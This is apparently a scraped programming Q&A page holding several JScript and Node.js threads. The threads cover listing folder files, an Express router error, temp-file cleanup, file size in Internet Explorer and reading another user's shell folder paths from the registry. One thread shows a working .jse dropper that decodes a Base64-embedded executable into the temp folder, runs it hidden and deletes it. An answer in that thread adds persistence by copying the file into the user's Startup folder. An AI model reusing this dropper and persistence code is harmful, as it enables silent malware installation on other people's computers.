jscript - getting list of files in directory - javascript

This seems like it should be easy. I've never used JScript before and I'm looking at the JScript api provided by microsoft but no luck. Here's what I have:
var fso, tf;
fso = new ActiveXObject("Scripting.FileSystemObject");
tf = fso.CreateTextFile("New Tracks.txt", true);
var objShell = new ActiveXObject("Shell.Application");
var lib;
lib = objShell.BrowseForFolder(0,"Select Library Folder",0);
items = lib.Items()
for (i=0;i<items.Count;i++)
{
fitem = items[i];
tf.WriteLine(fitem.Name);
}
WScript.Echo("Done");
tf.Close();
I get an error about fitem.Name that it's not an object or null or something. However, there are definitely files in that folder.

The items variable in your script holds a FolderItems collection rather than an array. To access the collection's items, you need to use the Items(index) notation. So, replacing
fitem = items[i];
with
fitem = items.Item(i);
will make the script work.

This works for me, I had to change the path to the file or I get access denied (win 7).
<script language="JScript">
var fso, tf;
fso = new ActiveXObject("Scripting.FileSystemObject");
tf = fso.CreateTextFile("c:\\New Tracks.txt", true);
var objShell = new ActiveXObject("Shell.Application");
var lib;
lib = objShell.BrowseForFolder(0,"Select Library Folder",0);
var en = new Enumerator(lib.Items());
for (;!en.atEnd(); en.moveNext()) {
tf.WriteLine(en.item());
}
WScript.Echo("Done");
tf.Close();
</script>

Apparently you can't access it like an array and have to call the Item() method.

Related

Cannot read property push of undefined in my node application

I am new to node and express. When I issue the command npm start to start my application, I am getting this error Cannot Read property push of undefined from my index.js file.
This is the code causing issue. Please help me:
proto.route = function route(path) {
var route = new Route(path);
var layer = new Layer(path, {
sensitive: this.caseSensitive,
strict: this.strict,
end: true
}, route.dispatch.bind(route));
layer.route = route;
this.stack.push(layer);
return route;
};
These are my imports in the file:
var Route = require('./route')
var Layer = require('./layer');
var methods = require('methods');
var mixin = require('utils-merge');
var debug = require('debug')('express:router');
var deprecate = require('depd')('express');
var flatten = require('array-flatten');
var parseUrl = require('parseurl');
var setPrototypeOf = require('setprototypeof')
Please help me in fixing this. I am not getting any solution for this.
The problem is in the line this.stack.push(layer);. The element stack is defined elsewhere and in the function he cannot access it.

How to Make jse file to execute encoded .exe & add startup silently? Javascript to add file to startup?

I am making a JSE file , which will decode the Base64 Encoded .exe file , save it to the tmp folder and execute it. But i need to add the .exe file to startup & run everytime the system restarts. I am a beginner in coding , just made this program with various open source codes.
Can anyone help me how to make this to auto startup ? As of now , everything is working good . When i click on the jse file , it runs in background , from decoding to installing the exe . But when i restart , nothing happens.
var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe
function decodeBase64(a) {
var b = new ActiveXObject("Microsoft.XMLDOM");
var c = b.createElement("tmp");
c.dataType = "bin.base64";
c.text = a;
return c.nodeTypedValue
}
function writeBytes(a, b) {
var c = 1;
var d = new ActiveXObject("ADODB.Stream");
d.Type = c;
d.Open();
d.Write(b);
d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
var c = 2;
var d = new ActiveXObject("Scripting.FileSystemObject");
var e = d.GetSpecialFolder(c) + "\\" + b;
writeBytes(e, decodeBase64(a));
return e
}
function deleteFile(a) {
var b = new ActiveXObject("Scripting.FileSystemObject");
b.DeleteFile(a)
}
var fname = 'abc.exe';
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
oErrCode = oShell.Run(fpath, 0, true);
deleteFile(fpath)
} catch (err) {};
This is working well , but anyone pls help me to make this .exe file run evertime after restart.
simply you can copy your executable file into the startup folder. you need to change your code like this:
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
oErrCode = oShell.Run(fpath, 0, true);
var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
fso.CopyFile (fpath, "C:\\Users\\"+strUserName+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); # copy the file into the current user startup folder
deleteFile(fpath);
} catch (err) {};

Removing file, which was temporarily created for gm stream

I'm using collectionFS and gm for some image mainpulation in my meteor app. I'm creating a temporary file:
var fs = Npm.require('fs');
var filename = '/tmp/gm_' + Date.now();
var read = file.createReadStream('source'),
var temp = fs.createWriteStream(filename);
gm(read)
.crop(100, 100, 10, 10)
.stream().pipe(temp);
// Do some more things
// remove temp-file
At the end I want to delete this temporary file. How do I do that? I'm not very familiar with streams...
I think of something like fs.remove(filename).
You are looking for this guy: fs.unlinkSync(filename);

find size of file in file upload using javascript

I want to size of file in file upload control.
I am getting error in Internet Explorer. But This is code working in other browser.
Following code
var fuDocument = document.getElementById('<%= fupAttachment.ClientID %>');
var file = fuDocument.files[0];
if (file != null) {
var fileSize = file.size;
}
error 'files.0' is null or not an object
The only thing that I can think of is to use those good ol' ActiveX objects:
var axFile = new ActiveXObject("Scripting.FileSystemObject");
var fileObj = axFile.getFile(document.getElementById('<%= fupAttachment.ClientID %>').value);
var fileSize = {bytes: fileObj.size,
kBytes: Math.round(fileObj.size/1024),
mBytes: Math.round((fileObj.size/1024)/1024)};
That should offer support for older versions of IE, the full version could look something like:
var axFile, fileSize,
fuDocument = document.getElementById('<%= fupAttachment.ClientID %>');
if (fuDocument.files)
{
fileSize = fuDocument.files[0].size || 0;//default value = 0
}
else
{
axFile = new ActiveXObject("Scripting.FileSystemObject");
fileSize = (axFile.getFile(fuDocument.value) || {size:0}).size;//default to object literal, with size: 0 property --> avoids errors, and defaults to size value of zero
}
return fileSize;//console.log, alert... whatever you want

Getting special Folder path for a given user in Jscript

How to get the path of a shell folder like "Local Settings" or "Local Appdata" for a specific user other than the current user?
While there are methods for getting special folder paths in Windows Script Host — WshShell.SpecialFolders and Shell.NameSpace — they return paths for the current user only. Getting other users' special folder paths is a bit tricky.
The proper way to do this is to use the Windows API SHGetKnownFolderPath function (or SHGetFolderPath on Windows versions prior to Vista). But the problem is, Windows Script Host doesn't support calling WinAPI functions, so to make use of these functions in your script you'll have to expose them via a custom-written COM component.
Another possible but undocumented solution is to read the special folder paths from that user's registry hive, specifically, the HKEY_USERS\<user_SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders key.
The paths in the User Shell Folders key are typically specified using the %USERPROFILE% environment variable; so to get fully-qualified paths you'll have to substitute this variable with the ProfileImagePath value from the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\<user_SID> key.
Also, the HKEY_USERS\<user_SID> key is only available when the corresponding user is currently logged on. For a general solution, you would have to load the user's hive (<UserProfile>\ntuser.dat) into a temporary registry key (say, HKEY_USERS\Temp) and read values from this key instead.
Below is sample JScript code that demonstrates how your task can be accomplished. On Windows 7 and Vista, you may need to run the script as Administrator depending on your UAC settings.
NOTE: This method is discouraged, as Raymond Chen explains in his article The long and sad story of the Shell Folders key. There's no guarantee it will keep working in future versions of Windows.
var strUser = "foo";
var strDomain = "bar";
// If the account is local, domain name = computer name:
// var strDomain = getComputerName();
var strSID = getSID(strUser, strDomain);
var strProfilePath = getProfilePath(strSID);
// Load the user's registry hive into the HKEY_USERS\Temp key
var strTempKey = "Temp";
loadHKUHive(strTempKey, strProfilePath + "\\ntuser.dat");
// Get unexpanded path, e.g. %USERPROFILE%\AppData\Roaming
//var strAppData = getAppData(strSID);
var strAppData = getAppData(strTempKey);
WScript.Echo(strAppData);
// Expand the previous value to a fully-qualified path, e.g. C:\Users\foo\AppData\Roaming
strAppData = strAppData.replace(/%USERPROFILE%/i, strProfilePath);
WScript.Echo(strAppData);
// Unload the user's registry hive
unloadHKUHive(strTempKey);
function getComputerName() {
var oShell = new ActiveXObject("WScript.Shell");
return oShell.ExpandEnvironmentStrings("%COMPUTERNAME%");
}
function getSID(strUser, strDomain) {
var oAccount = GetObject("winmgmts:root/cimv2:Win32_UserAccount.Name='" + strUser + "',Domain='" + strDomain + "'");
return oAccount.SID;
}
function getProfilePath(strSID) {
var oShell = new ActiveXObject("WScript.Shell");
var strValue = oShell.RegRead("HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + strSID + "\\ProfileImagePath");
return strValue;
}
function getAppData(strSID) {
var oShell = new ActiveXObject("WScript.Shell");
var strValue = oShell.RegRead("HKEY_USERS\\" + strSID + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\AppData");
return strValue;
}
function loadHKUHive(strKeyName, strHiveFile) {
var oShell = new ActiveXObject("WScript.Shell");
oShell.Run("reg load HKU\\" + strKeyName + " " + strHiveFile, 0, true);
}
function unloadHKUHive(strKeyName) {
var oShell = new ActiveXObject("WScript.Shell");
oShell.Run("reg unload HKU\\" + strKeyName, 0, true);
}

Categories